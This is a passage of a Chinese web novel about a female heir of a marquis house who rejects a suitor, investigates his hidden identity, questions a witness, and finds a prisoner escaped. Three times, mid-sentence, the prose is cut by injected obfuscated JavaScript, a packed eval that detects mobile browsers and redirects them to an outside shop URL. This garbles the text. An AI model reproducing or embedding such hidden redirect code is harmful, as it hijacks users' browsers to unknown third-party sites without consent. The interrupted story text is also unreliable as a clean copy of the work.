食指掠过唇边摩挲,戚姮支着下巴似笑非笑,觉得有意思:“当官的到底是有多不堪,你这么着急与他们划清界限。” “他们堪不堪的,你回来那日就领略过了。”后煜道,“只是我自小就没有接触过高门大户,与他们混不到一起去。当下再一概而论就没意思了。” “说是当官,也就披了层皮。脱了那层衣裳,”后煜抬了抬胳膊,示意她看过来,“我就只能穿最寻常老百姓的布衣。” 戚姮倒还真没仔细注意过他的衣裳,此刻他提醒了再看,料子比着自己身上的确实差了太多。 麻布灰扑扑的暗淡无光,款式更是简单朴素,他身上连个多余的配饰都没有,也就发冠与耳坠还像回事。 戚姮讶异极了:“你不是府尹家的公子吗?怎会没接触过高门大户,连衣裳都穿最普通的?” 后煜搅米饭的动作一顿:“我是府尹家女使生的私生子,一直跟我娘住在外头。” 戚姮张了张嘴:“不可能吧……” 他瞧着年轻,能做到太府寺卿这个位置靠科举基本没戏,必然要受人托举。要真是私生子,家里怎么可能这么舍得倾注资源。 后煜抬起眼,眸光闪烁:“你看不起我?” 戚姮骇然,都后悔多余问那句话:“我不是这个意思。” 后煜不像在意的模样,继续道:“我就是想说,没多少人在意你的行为离经叛道。是你挡了言官路,他们才那么大反应。” “我没反应,因为与我无关。你大可以不用那么戒备我。” 后煜停顿了片刻,补充道:“但这件事不会轻易结束。” 戚姮皱了皱眉头,总觉得后煜话里有话。 樊楼的人来到雅间上了茶水,等他走后,戚姮微微向前探身,问:“那你跟踪我又是因为什么。” 她长得带着些许攻击性,尤其是类似于逼问的情况下,五官在眼前放大,天然就有些威慑作用。 后煜端起茶杯抿了一口,待茶香散尽,似是下定决心一般:“我想和你认识。” 戚姮眯起眼细细辨别这话的真假:“认识我干吗。” “就是想认识,没什么目的。” 后煜眼睫忽闪,双肘撑在桌沿,埋头看着碗:“我不知道怎么直接说,想跟着你,找个契机假装不经意碰到,然后水到渠成……却还是低估了你有多敏锐,每次跟不几步就被发现了。” “……”戚姮扶额。 不过别说,他这招剑走偏锋确实比直接上来打招呼管用的多。 跟抢劫一样,不认识也得认识。 “算了,算了。”戚姮无所谓地,“反正也不是什么大事。” 后煜点点头,转着眼珠看向她,半天没等到下一句,戚姮反倒沉醉去对面的说书中了。 窗外雨潺潺,本就不多的天光还被玉兰树遮挡些许,屋内昏暗,又灌了些凉风。 “……你同意了吗?” 戚姮没反应过来,拾起勺子舀了一碗圆子汤送到嘴边:“同意什么。” “就是,我能不能,”后煜扣紧筷子,羞赧冲上大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531459|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑要他闭嘴,他硬是强逼着自己开口,“追求你。” “咳咳咳——”戚姮被烫的舌尖发麻,匆匆放下碗,捂着嘴咳嗽不已。 她面上半分惊恐半分疑惑,眸中满是不可思议,跟见鬼了般瞪着后煜。 他说完以后都不敢抬头,埋着脸不知所措。 等咳意平息,戚姮倒了杯茶一饮而尽,她缓了半天,很是匪夷所思:“你跟我开玩笑的吧。” 后煜辩驳:“我没有在开玩笑。” 戚姮疑惑更深了:“满打满算你就见过我三面,怕是连我多大年龄都不知道,何来感情一说?” “一见如故,一见倾心,这都有可能。”后煜忙不迭接上她的话,“就像,整个汴京都知道定远侯当年是如何将夫人娶进府的……” 他越说声音越小:“感情总不可能全都是细水长流。” 徒留戚姮表情未变,微张着嘴傻愣在原地。 定远侯夫人到底怎么嫁进侯府的这茬,就要往上数了。 赵繁英之上还有一位皇帝,名赵轻絮,登基仅两年就因病驾崩。赵轻絮之上便是赵勉,庙号熹宗。 燕朝历代皇帝即位无一都展露了对侯府功高震主的警戒,也就导致每任定远侯活得如履薄冰,谨小慎微。 戚砚摊上的那位熹宗皇帝更甚。 先侯原本打算让戚砚十五岁订完亲再上战场,赵勉却担心侯府由此联姻结到了势力,便从中作梗,给搅和散了。 这一拖就拖到戚砚十八岁从西北边境得胜归来。 缠斗上百年的邻国波斯在多次的军事行动中被彻底击溃,收入大燕版图,成为附属国。戚砚立下不世之功,解决了边陲一大祸患,却远不及戚姮如今这般风头无两。 熹宗皇帝昏聩不成器,不但没有因此看清侯府忠心,反倒更明目张胆的疑心了。武将必然会经此一遭,汴京城内几乎认定侯府会被抄家灭族,只是早晚问题。 这块烫手山芋还有些瘟,谁挨着谁都觉得要遭殃,避之不及,更别提会把女儿嫁进侯府。 戚砚的姻缘再度遥遥无期起来。 于武将而言,生死是常事,指不定哪天死在哪场战役,大多都早早留下子嗣,像他那种十八岁还未娶亲的实属罕见。 可有皇帝这座大山压着,先侯与先侯夫人也无可奈何。想着先塞两个妾室留下孩子再说,却被气头上来的戚砚直接拒绝,心里另有了打算。 他想不明白为什么自己舍身忘死成就皇帝大业,到头来连个媳妇都不让娶。看着周围兄弟个个成家立业,走之前夫人怀了孕,回来后孩子都能喊爹了,他却只能跟爹娘大眼瞪小眼。 戚砚羡慕嫉妒恨,抓狂了好几天,一气之下就把波斯送来的和亲公主抢走了。 戚砚闯了十八年祸,再没有比众目睽睽之下强抢太子侧妃还大逆不道的。那日婚礼办的极其隆重,两道全都是围观百姓,就这么一传十十传百,引起哗然一片。 先侯听到消息时险些晕过去,战战兢兢押着人去向皇帝请罪,念叨着“侯府真完了”,还没到皇宫就连踢带踹地揍了戚砚一路。 哪知熹宗皇帝大手一挥,高高拿起轻轻放下,同意了这门亲事,还真把和亲公主让给他了。 戚砚是侯府独子,又是平定西北的功臣。那时的大燕内忧外患,北疆南蛮蠢蠢欲动,各地接连爆发流民起义,朝中又没几个能打的将帅。 还全要仰仗侯府扫平动荡,暂时还不能动他家唯一的儿子。 可戚砚的婚事照样是皇帝头疼的问题,挑高了不放心,挑低了配不上,但也不能一直阻挠戚砚婚配。 抢婚一事发生,恰巧给了皇帝启发。 和亲公主无依无靠,娘家远在千里之外,又是战败国送来的人质。直接杜绝了戚砚挑选贵女壮大势力的隐患,还把他正妻的位置给占了。 熹宗如释重负,象征性地罚了戚砚八十棍,便赐了婚书,由他去了。 感情不可能全是细水长流,也有可能是这种惊涛骇浪。 11. 开封府衙【五】 “我跟你说,这事没得商量。” 眼见跟后煜说不通,戚姮慌忙起身,准备逃离现场:“你这种人压根不在我的考虑范围。” “我是有哪里不好吗?” 后煜就像被下降头了似的,跟在她身后跨出雅间,顺着木楼梯“噔噔”往下去,穷追不舍道:“我这种人是什么人。” 戚姮卡壳一瞬,还真提起了意见:“性格。你的性格太软了,我真没兴趣。” “我……” “还有供职,文官得罪我了,我讨厌文官。” “……” “前几日我刚得了一堆媒人送来的画像,都相中了三两个,准备见面了。你突然出现算什么事。”戚姮连声拒绝,“咱俩不合适,你还是别想了。” 后煜不可思议地:“你要成亲了?” 戚姮道:“如今难得太平,不赶紧成亲难到等乱起来了再留家里生孩子?” 后煜眉心微蹙:“那你是招赘,还是?” “招婿。” “你是不是要联姻啊?”后煜自言自语道,“侯府风头正盛,联姻的确是个上上签。不考虑我也正常,我没什么背景可言……” 戚姮:“诶打住,我可不是歧视你。你别来这套。” 后煜似是看到了一丢丢希望:“你愿意给我个机会吗?” 戚姮答得飞快:“不愿意。” “……” 后煜具体的情况她不了解,也不需要太了解,就这个性格,戚姮就怎么看怎么都不对胃口。 太扭捏了。 想认识就一句话的事,却能被整得如此复杂。戚姮压根也没关心过他稍微次些的出身,他自己却自卑的不行,三两句都绕不开这话题。 用脚趾头想这性格绝对是个动不动生闷气的,三天两头要人哄,相处起来绝不轻松。 戚姮只想寻个脾气好些的男人搭伙过日子,从没想过弄回家个敏感的神经质。 绕过一楼大堂,戚姮拾起搁在门口的伞,转身对着后煜下最后命令:“好了,就此打住。” 后煜刚张开的嘴瞬间闭上。 戚姮扯了个假笑:“老板看见我来自会免单,不用你付银子,这顿就当我请你。” “我还有案子在身,也有快要定下的正室人选,不要再提这件事了。我就当今天什么都没发生过,日后交个朋友也是可以的。” 后煜怔愣地盯着戚姮,一时间有些手足无措。 “至于成亲,你真不可能。” 后煜攥紧了身侧布料,微微苍白的脸颊染上几抹难堪之色。 眼见戚姮真要离开了,这事的可能性还是零,他心一横,一咬牙一跺脚,就道:“我可以给你当妾。” 戚姮跨出去的脚磕到门槛,一个踉跄。 · 玉泉兰榭。 戚姮将伞扔给女使,推开门,已经有人候在屋里了。 “世子。”探子艾憬简单行了一礼,随着戚姮来到隔间。 “您上次让属下调查的后公子,已经有眉目了。” “这次用的时间这么长。”戚姮随口问,“不好查?” 距离上一次在地牢碰见后煜,得三天过去了。 艾憬颔首:“有些复杂。” 倒也在戚姮预料之内。 后煜那日虽解释了出现在地牢的缘由,听起来也逻辑自洽,合情合理,却总给她一种太过巧合的怪异感。 值守的衙役少说也有十几人,又是晚上,即将都快过了亥时,怎么偏偏让一个太府寺卿下来巡查了。 自军队班师回朝以后,核查总账,拨发粮饷,发放抚恤金等一连串善后工作都移交给了太府寺。正是上上下下忙的脚不沾地之时,他跑来开封府做什么。 以防万一,戚姮还是喊人具体去查了他一番。 艾憬道:“属下顺着您说的去探查,并未从开封府尹家中找到‘后煜’,准确来说,是没有这个人。” 食指轻轻敲打着桌面,戚姮敛去神情,问:“你查户籍簿了?” “是。”艾憬点头,“属下当时只知道一个名字,还是假的,断了线索以后便回到皇城司翻案卷,倒是寻到了些蛛丝马迹。” “‘后煜’的户籍资料被刻意修改过,或许是为他改档案的人无法将手伸进皇城司,才留下了痕迹。但像户部这种地方,整理入案的只有新名,若您没有皇城司的调案权限,便查不出来了。” 戚姮闻言皱了皱眉:“他改过名?” “改过。并且,他与开封府尹后延,并没有任何关系。”艾憬继续道,“他现在所用的名,叫‘解羽’。” “解?”戚姮诧异问道,“哪个解?” 艾憬说:“就是隔壁秦国公府那个解。” 戚姮:“他是解修竹的……?” “第二子。”艾憬道,“长子名解烺,他上面还有一个姐姐,和三个堂姐。族内排行第六,是最小的一个。” 戚姮:“……” 解修竹的儿子?? 戚姮难以置信:“……他居然不是开封府尹家的。” 艾憬点了点头,眼见主子陷入呆滞,忙为她解释:“属下一开始顺着府尹这条思路查回去,本家找不到就看向了外头。发现了一位名叫‘后秋’的女使,原是府尹家的家生子。二十一年前,怀着孕离开了后府。” “经论证,接后秋离开的人正是秦国公,一直被他养在外头,待遇与外室无异。” “听坊巷的人说,他们从没见过后秋的丈夫,后秋生了儿子也不管,顶多就是养着不死,连名都懒得取。邻里邻居一直都喊她的孩子叫‘那小孩’。” “十六年前,后秋不见了,只剩个孩子在那。隔三差五有个书生打扮的男人去看他,才给取了名字,上了户口。” “就叫后煜。” 艾憬继续补充:“解羽十七岁以前都叫后煜,独身居住在青衣巷,左邻右舍对他印象很深。但这段过往在解修竹送他入朝之前就全抹掉了,现在是干干净净白纸一张。” “解羽没有科举,受恩荫供职在太府寺。两年前原太府寺卿李拭镜畏罪自缢后,才由陛下钦点,升迁为太府寺卿。” 对上了。 戚姮揉了揉太阳穴。 太府寺卿,和私生子。 要是早跟艾憬把“太府寺卿”一并说了,也不至于让她麻烦这么一大圈。 “我是府尹家女使生的私生子,一直跟我娘住在外头。” 耳边突然浮现后煜在上午刚落下的这句话,细想来,他倒也没说谎。 每句都是真的,每句都只说一半。 以为是府尹家的私生子,结果是国公府的私生子。 戚姮嘟囔:“真够精的……” 再转念一想,他也没有隐瞒的意思,直接报了自己是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531460|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太府寺卿,都不用艾憬去查,戚姮上朝一打听也能知道他是解羽。 那就不像是故意要隐瞒身份了。 戚姮拖着腮,若有所思道:“他是不是跟国公府关系不大好。” 艾憬答:“是。解修竹并不管他,解羽也很忌讳有人在他面前提国公府。” 怪不得要报原名,除了讨厌这个爹这个姓,也没什么别的原因。 戚姮又问:“那他的‘语’,是哪个‘语’?” 艾憬道:“羽翼的羽。” 解羽。 “……”还有可能是讨厌这个名。 戚姮目瞪口呆。 取这个名跟仇人有什么区别。 艾憬道:“他还有字,叫解灵翎。” “灵灵?”戚姮嘀咕,“倒是挺可爱。” “灵性的灵,箭翎的翎。”艾憬解释,“二字组合。” 戚姮点头以示了解:“解修竹近日在做什么。” 艾憬迟疑道:“这个……属下不曾刻意观察,但每日来去,偶尔有碰上的时候。除了上下朝,也不见他经常外出。” 戚姮打趣道:“也很好了。你调查这些向来细致,都快给他祖坟挖出来了。” 艾憬回答的很官方:“属下职责所在。” “再帮我查查青石巷的曼文吧。”戚姮有了经验,这次说得比上次细致具体了些,“应府养的一个外室,有个女儿。前些日子向开封府投了案,现在还有记录。” “她的具体来历,以及被抓进牢里的那个,来龙去脉,一并搞清楚。” 艾憬应下:“是。” 待艾憬离开,戚姮坐在原地沉思了一刻多钟,才起身回到主卧。 现在她就更确定后煜绝对是带着目的刻意接近。 但,目的是什么呢。 秦国公府就在隔壁,隔着一条胡同,出了门右转,走不了两步就是。 戚姮深居简出惯了,即便是邻居也不太相熟,关系与陌生人并无二致。唯一可以称作“过节”的也就只剩刚回来那天,跟解修竹当堂吵了一架。 她翘着腿换了个更舒服的姿态,心想堂堂秦国公,不至于因为这点小事大动干戈。 况且他们父子关系并不好,就算解修竹想使坏,后煜也没道理替他做事。 “我是不是在哪见过你。” 这句话骤然在脑中响起,戚姮动作一滞,无意识地歪了歪脑袋。 见过吗? 她甩掉鞋子,翻到榻上滚了几圈,仰面“大”字型地摊开在床。 没见过。 赵繁英从百忙之中亲自下发的这案子,又牵扯到一族余孽,说了些云里雾里的话,真的只会是个小案件吗? “处理好了,对你尽快在朝中立足也有好处。” 那要是处理不好呢。 戚姮一骨碌坐了起来,自语道:“……难道他是来阻扰查案的?” 不对。 可能还没有这么简单。 后煜目前表现出来的目标很明确,想进侯府,留在戚姮身边,甚至不惜能说出“肯当妾”这种话。 戚姮怎么琢磨怎么不对劲。 现在牢里关着的人就是赫连般若,天知地知她知……后煜知不知? 他也是下进过地牢的。 他有没有听见赫连般若说的话? 雨点拍在窗户上,只听噼里啪啦。 12. 开封府衙【六】 大雨下着停着,连续几日,阴云笼罩整座汴京城,低洼地蓄的积水总是干不彻底。 戚姮一路走来难免溅上了些泥点子,行至青石巷,曼文家的大门虚掩着。 “曼文姐,我直接进来了?” 戚姮向里面喊了一声,远远听到曼文一声应,才放心推开门走进。 今天难得太阳照得好,雨后温度一下子升了上来,阳光晒在身上热乎。病恹恹的裴黛儿都下了床,一改之前萎靡不振的模样,跑到院子里晒太阳。 看见戚姮来,扑上去抱住了她的腿:“姐姐,我等你好久了。” “怎么一直等着我?”戚姮伸手将她抱了起来,“吃药了没。” 裴黛儿摇头:“还没有。” “这么大姑娘了,抱着重,快放下来吧。”曼文铺好挂上绳晾晒的床单,转身招呼着要回屋,“快进来吃药吧,刚熬好太烫就放了会,估计也快凉了。” 戚姮和裴黛儿对视一眼,小姑娘直接搂住了她的脖颈,摆明了不要下去。她轻拍了两下裴黛儿的后肩,迈步向屋里:“不打紧,小姑娘而已,也没多重。” “多大了,还非要抱着。”曼文路过,佯装嗔怒地刮了一下裴黛儿的鼻尖,“羞死人了。” 裴黛儿咯咯笑着。 戚姮日日都要来一趟,不一定赶着什么时候,比如现在就是刚用过午饭,到了小孩子困点的时候。裴黛儿的脑袋往戚姮肩膀上一靠,依偎着就渐渐要睡了。 她迷糊道:“姐姐,你身上好香呀。” 戚姮哄着:“姐姐抹香脂了,若是喜欢,改天我为你带些过来。” 曼文刚想开口推脱,就听裴黛儿说:“好呀。我身上都是汤药味,不好闻。我也要变成香香的。” 她面上一怔,缓缓封了口,不再言语。 待到裴黛儿的呼吸平缓下来,怀里的小姑娘便彻底睡熟过去。 曼文几度张嘴,欲语还休,终究拉过凳子坐到戚姮对面,搓着掌心小声问道:“姑娘,你是朝廷这几日新册封的那位,平定北疆的世子吧。” “……” 猛然被人戳破身份,戚姮掀起眼皮,扫了纠结的曼文一眼,哑然失笑:“是我。” 曼文似是松了口气,讪道:“我就知道没认错,怕是整个汴京也没有第二个你这般模样的姑娘了。” 戚姮心里长叹。 长得太独特也是种烦恼。 曼文的双手交叉叠在一块,不安地掐着指尖,直到疼痛难忍才松开。 戚姮见她像有话想说的样子,垂眸敛去大半神色,主动道:“有什么话但说无妨。” 曼文应了好几声,才道:“倒也不是什么大事……只是没想到,堂堂定远侯府的世子,朝廷的新贵,居然天天来帮我这么一个妇人提水照看孩子。” “也不是什么大事。”戚姮亲身经历过才算知道小孩到底有多难带了,“不足挂齿。” 曼文踌躇着开口:“世子心善,但……更多是为了小十七来的吧。” 她果真敏锐,远没有宁淮说的那么简单。 戚姮也不知是自己演的太差,还是运气不好,恰好就被看出来了。 这时候也没有必要再扯谎了,反正目的是为了获取她的信任,套到内情,不如顺坡下驴,应道:“确实是我负责应小姐这档子事。” 曼文忙问:“你见到她了吗?她过得怎么样?” 戚姮如实承认:“见过一面,比着同等级的犯人,还算可以。” “……” 曼文的神色霎时间变得不太好,缓缓,又恢复了平静:“是不是只要定了罪,她连这种日子也过不了了。” 戚姮蹙起了眉,明知故问:“应小姐当真是楼兰公主?” 曼文默了半晌,给出的答案出乎预料:“我不知道,我也是猜的。” “她不是我亲生的女儿是真,但到底是谁,我真的不知道。” “能讲讲吗。” 戚姮平和地问:“不用当我是什么大官,就随便讲讲应小姐的事。你知道什么讲什么,好让我公平地判定她到底是谁。” “要真是楼兰公主,尘埃落定,也能彻底给你结算那两千两赏钱。” 曼文听见“两千两”明显心动了,转眼间又被不自在取代。她掩饰性地撩了几下头发,挪动几下位置,触及戚姮只有疑惑没有不屑的目光才安定下来。 她回忆了起来:“我认识她是因为,那年我怀了黛儿,小十七又太小,我一个人看不过来,就想买个丫鬟回来帮忙照顾……她给自己起名叫‘如是’是吧?” 戚姮应了。 “她一开始说的名,叫阿若。” 阿若。 赫连般若。 盯着戚姮微妙的脸色,曼文继续说:“一个适龄的丫鬟要二十两银,那时我手头还算富裕,翻出存钱去找人伢子,想着能碰到个价低的更好。” “恰巧遇着阿若,她只需五两银子。” “我还觉得是老天怜我,这么好的事儿都能让我摊上,贪便宜,所以带了她回来。直到几天后,我发现阿若不仅不会做事,还是个哑巴。” “普通人家用不起女使,高门大户瞧不上哑巴,才让我捡到漏。” “但阿若胜在聪明,无论什么事情,教两下就会。我也就不在乎了,反正只花了五两银子,也是我赚。” “又过了半年,她突然开口说了第一句话。” 提起当年的事,曼文说的流畅自然,根本不用再费劲去想,像是一直记着与赫连般若的相遇,从没有忘却。 “我才知道她会说话,只是听不懂汴京里的口音,学了许久,才勉强理解了什么意思。” 曼文从回忆中回神,目光不由自主落在安详熟睡的裴黛儿脑袋上,眸中苦情溢出:“黛儿身上有打娘胎里带出来的病,治不好,只能用汤药吊命。” “或许我天生贱骨头,生的孩子个个不全乎,就连小十七也是这样,病了许多年,十二岁那年就夭折了。” 戚姮没忍住问:“黛儿是……?” 曼文答得爽快:“是我老相好的孩子。” “……” 她的利落反让戚姮手足无措起来。 曼文看出了戚姮的窘迫,只说:“我从不让她出门,被人见到了也都说是我老家的侄女,失了父母,我帮忙照看几年。” 戚姮难以置信地:“你这么信任我。” 这都肯说。 她们娘俩如今之所以能栖身于此,全都仰仗这那位彻底消失的应老爷。他为曼文安排了小宅子,差人送供养的月钱。单凭曼文一个人,怕是早就住上了泄风漏雨的破落茅屋。 但凡曼文“偷人生女”的消息泄露出去,等待她的绝不止扫地出门这么简单。 没下过奴籍的人,任由主人家打死沉塘都有可能。 曼文却满不在乎:“府衙断案,用不着再来我们这样的人家中专门询问。姑娘想来探个口风,却也肯亲身帮我哄孩子,足以证明你是个好人。我相信你。” 戚姮的表情变了变,连同落在曼文身上的视线都凝重了几分,逐渐复杂,说不上来是什么感受。 “……谢谢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531461|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曼文莞尔一笑,接上了刚刚自己的话:“小十七没了以后,阿若愿意当我的女儿继续糊弄老爷,我们娘仨继续过。” “反正他不会来看我了,女儿活没活着他也不问。我觉得可行,便同意了。” 戚姮问:“你从前怀疑过阿若与楼兰公主有联系吗?” 曼文答道:“我见过通缉令,但已经与我初见她时不太像了,就一直没怀疑过。” 戚姮又问:“既然你不确定,也没怀疑过,为什么在前几日突然检举她?” “岁数能对上。阿若今年满打满算已经二十二岁,为了装小十七才说的十八。” “而且阿若刚来的时候听不懂汴京话。我就觉着,除非是外头的人,否则怎么可能十一岁了还听不懂话。” 逻辑很清晰,戚姮也随之点点头。 曼文继续说着:“直到前两年,我静下心来仔细瞧她,才发现阿若长得越来越漂亮了。从前我在教坊司,也见过许多美人,但阿若的那种漂亮,不像我在京中见过的模样……” 她瞄了一眼戚姮:“反倒有你这种感觉。” 戚姮大概明白她什么意思了。 波斯人金发碧眼,肤白身长,与中原差异最明显。风俗,文化,语言,也完全两模两样,堪称天壤之别。 其次是北凉,部分人的发色偏暗红,浓眉大眼,性格往往桀骜凶猛。 楼兰想来也有自己的特点,明显区别于中原人,才让曼文瞧出不对劲来。 曼文叹道:“阿若好看到小十七的哥哥来这逛了一圈,一眼就看上了。” “他不认识我们娘仨,上来就开价五百两,想买她回家做妾,被我以兄妹关系给拦住了。” 那就更奇怪了。 反正不是亲兄妹,拿了钱让他带走也无所谓。 这足以证明曼文也并非极度贪财之人,现在却会因为简单的几个怀疑,检举关系很不错的养女。 只是怀疑,没有铁证如山。 她的一言一行都像还挂念着赫连般若的样子。在地牢时,赫连般若也是听见曼文的名字才有的反应,表现的极其抗拒。 戚姮当时以为赫连般若抗拒的是曼文,她们二人的关系定然一般,经此一事后变得更加恶劣,才会是那个态度。 现在来看,并不是那么回事。 那赫连般若在抗拒什么? 戚姮垂下脑袋,静静端详着裴黛儿的侧脸。 是不想让别人知道裴黛儿的存在吗。 汤药凉了以后就要喊醒孩子喝掉,戚姮要趁她清醒前离开,否则就会被攥住衣角,走不掉了。 “要是家中无事,别说两千两,就是五千两,我确定眼前的人是楼兰公主也不会向朝廷上报,她一定会死的。” “她帮了我那么多年,又当女儿又当丫鬟,尽心尽力,毫无怨言,我再不是人也不能那么做。” “可黛儿的病太重了,为了给她治病连家底都快要掏空了。我已经失去了一个女儿,不能再失去第二个。” “我对不起阿若,但她毕竟不是我的亲女儿,仅仅只是提供线索也会有五十两的报酬,我已经靠这笔钱请了个不错的大夫。” “二选一之下,我必须牺牲掉一个不亲的孩子,来保全我自己的女儿,这才是为人母本性,不是吗?” “世子身边没有病重的亲人,可能理解不了我的作为……” 有。 戚姮在巷子里绕道,脑海中不住浮现出离开前曼文说的那些话。 十几年前是有的。 病重到药石无医,无力回天。 13. 开封府衙【七】 艾憬送回来的消息大体与曼文说的那些差不多。 那天在地牢赫连般若的表现摆明了不可能配合,戚姮本想吓她一把,要是直接认了,也能省得再浪费精力去调查这个众所周知的答案。 谁知道这公主有骨气,根本不害怕。 不害怕便没有下文了。 戚姮做不出来逼供的事,可要是赫连般若始终拒绝签字画押,这案子就算不得完。必须老老实实去搜集铁证,才能定下她的身份。 当下掌握的消息都太零碎了,曼文已经把知道的全都说了出来,顶多口头作证了赫连般若的身份,关键点还是在她自己身上。 戚姮收好信件,扭头看向窗外,思索良久,挑伞去了开封府衙。 · “人这么齐全,二位都在呢。” 戚姮抖了抖伞面递给身侧衙役,扫过动作有些不自然的后煜和夏怀微,一个摸着脖颈,向着相反的方向看去,一个拂了拂衣袖,迈动小碎步远离了几分。 她眯了眯眼,似笑非笑:“看来是认识。” “……在信王府上有过几面之缘。”夏怀微扯出了个笑,“今日又恰巧碰到了。” “嗯。”后煜欣赏完府衙的装饰才扭头,不动声色地向戚姮方向挪动,“不熟。” 戚姮也不是来关心他俩熟不熟的,赵初那小子向来闲不住,入朝后为了多认识几个同僚组织交游也不稀奇。 戚姮环视一圈,竟然没几个衙役。她觉得奇怪,这个点府衙大堂应该候着不少差役才对,蹙眉道:“我现在想提审应小姐,有时间吗。” “……” 夏怀微神色变得为难,掩面咳了一声:“世子,在下要对你坦白一件事,你别激动。” 戚姮奇怪地看着他:“但说无妨。” 后煜朝向戚姮挪的步子突然停了,神情一呆,又缓缓向反方向移动。 夏怀微极其真诚地:“赫连般若,越狱了。” 戚姮:“…………” 雷声恰巧在此刻轰隆一声炸响,惊在戚姮心头,久久回荡。 她就那么呆滞在原地,瞪着眼张着嘴,整个人仿佛被定住了一般。 堂内随着这句落下鸦雀无声,所有人看着她的反应,默默低下了脑袋,盯着鞋尖一言不发。 气氛一时间都僵持了起来。 戚姮面上表情差点没绷住,音色不自觉提高几分,极度震撼又难以置信:“什么?!” “我也是刚知道,着急忙慌赶来的。”夏怀微抬起沾湿的衣摆给她看,证明所言非虚,“发现的第一时间已经差人去追了,世子莫要着急,待……” 戚姮是半个字也听不进去,满脑子只有“赫连般若跑了”这个念头,拔腿就往地牢去。 夏怀微的话就那么停在嘴边。 “那,那我出去指挥人找找。”夏怀微挠了挠鼻尖,对后煜说,“你留下看着吧。” “……”后煜算是默认了。 地牢。 赫连般若所在的牢门口。 戚姮瞪着空空荡荡的大牢,目眦欲裂。一路跑过来气喘吁吁,肩上也被淋的有些许狼狈。她叉着腰来回踱步,想骂出口的话太脏,硬生生又被她憋了回去。 今日值守的四个狱卒单膝跪在地,低着头瑟瑟发抖,连大气都不敢喘一下。 火光照亮了戚姮半边脸,连同眉眼间的怎么都压不住的怒气。 她按住额角狂跳的青筋,咬牙切齿地道:“一共四个人,四个大男人看一个小姑娘,还能让人跑了!这到底是大牢还是客栈,住够了就能走!!” “属、属下知罪!”其中一个狱卒开了口,剩下几个便哗啦啦随着他的话照葫芦画瓢。 “属下知罪!” “世子息怒!” “我问你。”戚姮挑了其中一人,强忍怒火,“犯人跑的时候你知道吗?是自己跑的,还是有人接应?” “这个,”他支吾回答,“属下该死,犯人逃跑的时候我、我睡着了。” 戚姮:“?” 她又指了另一个人:“你说。” “属下也睡着了……” 戚姮又指:“你也睡着了??” 最后被指的这狱卒一哆嗦,哭丧着脸道:“小的们一起喝的酒,自然是……醉酒,睡着了。” 戚姮连连点头,真是被气笑了,抬脚就踹:“这里是开封府的地牢,你们还真敢当客栈使?让你领月钱办事,是供了几个祖宗在这喝酒吃肉的吗?!” 为首的狱卒被这一脚踹得倒飞出去,砸到他身后的人,摔出去老远,一起蜷缩在地上哀嚎。 “不知道的以为你们平常吃的泔水,个个长着萎缩的猪脑子!我真是在这拴四条狗也比你们四个有用!” 戚姮又抓起一个狱卒的衣领,这人因为腿软站不起来,肥胖的身躯看的她怒火直冲脑门,不可抑制地抡圆胳膊就是一拳:“吃的比猪肥办事比狗蠢,就这么点事都能搞砸,现在后果谁全权承担?你?还是我?” 他捂着脸,半个脑子都晕沉沉地胀痛,恐惧攀上脸颊,面上肥肉颤抖着:“世子饶命!世子饶命!” “我没把你这猪头拧下来塞肠子里都已经是饶你一命了!”戚姮一脚把他踹进赫连般若待过的地牢,他“哎呦”叫唤着摔了个嘴啃泥。 在场唯一没被打得狱卒眼见戚姮盯上了自己,竟然两眼一翻直挺挺晕了过去。 他被戚姮拽住脚踝塞进牢房,连带着还在地下蛄蛹的两个,临了还不忘踹上几脚,大门“砰”地关上锁死。 “皇帝老子早跟我把话说明白了,我随着这个案子定生死!办不好、办不出来以后就别干了,竟然让你们脑子里进屎的给放跑了!” 戚姮只觉要完,说话做事都不管不顾起来:“我才刚上任,连枢密院都还没踏足过一步。要是我好过不了,你们四个今后就死在这牢里,发烂生蛆也别想出来!” 戚姮的怒声回荡在整个地牢,久久不散,转头离开的时候瞥见隔壁牢房里面的几个,一个赛一个的老实。 在外穷凶恶极的恶徒如今个个缩在角落里装鹌鹑,与她对视上都要率先移开视线,生怕殃及池鱼。 戚姮走在地道的路上眼前突然阵阵发黑,一股恶心的眩晕感从胃里席卷而来,扶着墙缓了半天,才勉强稳住身形。 “没事吧?” 匆匆跟下来的后煜上前虚扶了一把,戚姮皱着眉,避开了他的手:“没事。” 后煜的指尖微微蜷起,面上划过一抹尴尬,佯装若无其事地收回手:“你刚刚……是不是发火了?” “有规定说,上司不可以对着几个玩忽职守导致重大过错的下属发脾气吗?” 